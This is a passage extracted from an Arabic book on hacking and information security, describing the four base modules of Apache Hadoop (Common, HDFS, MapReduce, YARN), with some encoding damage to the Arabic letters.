
‫كونة لل ‪.Hadoop‬‬

‫]‪[444‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Hadoop Common‬‬
‫ذذا اجلزء حيتوي عىل ال ‪ Libraries‬وال ‪ Utilities‬التي ستحتاجها بقية ال ‪.Modules‬‬

‫)‪Hadoop Distributed File System (HDFS‬‬


‫ذذا ال ‪ Module‬عبارة عن ‪ُ System‬م َرب َمج ب ُلغة ال ‪ ،Java‬ذذا ال ‪ System‬يتميز بال ‪ Scalability‬ألنه سيقوم بعملية‬
‫ختزين ال ‪ Big Data‬عىل العديد من األجهزة )‪ .(Across multiple machines‬ذذا التخزين سيكون بشكل‬
‫عشوائي‪ ،‬أي أنه لن يتم عمل ‪ Organize‬هلذه ال ‪ Data‬قبل ذذا اإلجراء!‪.‬‬

‫‪Hadoop MapReduce‬‬
‫ذذا اجلزء عبارة عن ‪ ،Programming Model‬ذو يف األصل ‪ ..Software‬تتلخص وظيفته يف عمل ‪Processing‬‬

‫خمة م َن ال ‪.Data‬‬
‫لكميات َض َ‬

‫‪Hadoop YARN‬‬
‫ذذه عبارة عن ‪ Platform‬تقوم بعمل ‪ Management‬لل ‪ ،Resources‬ذذه ال ‪ Resources‬ذي ال ‪Computing‬‬

‫بالطبع‪ ،‬كام نعلم أننا أمام كَم كبري من ال ‪ Nodes‬داطل ال ‪ Cluster‬وبالتايل نحن بحاجة إلدارة ذذه ال ‪.Resources‬‬

‫كانت ذذه ذي ا ُملكونات األساسية لل ‪ ،Apache Hadoop‬و ُيط َلق عليها ”‪.“Base Modules‬‬

‫]‪[445‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

[446]

You might also like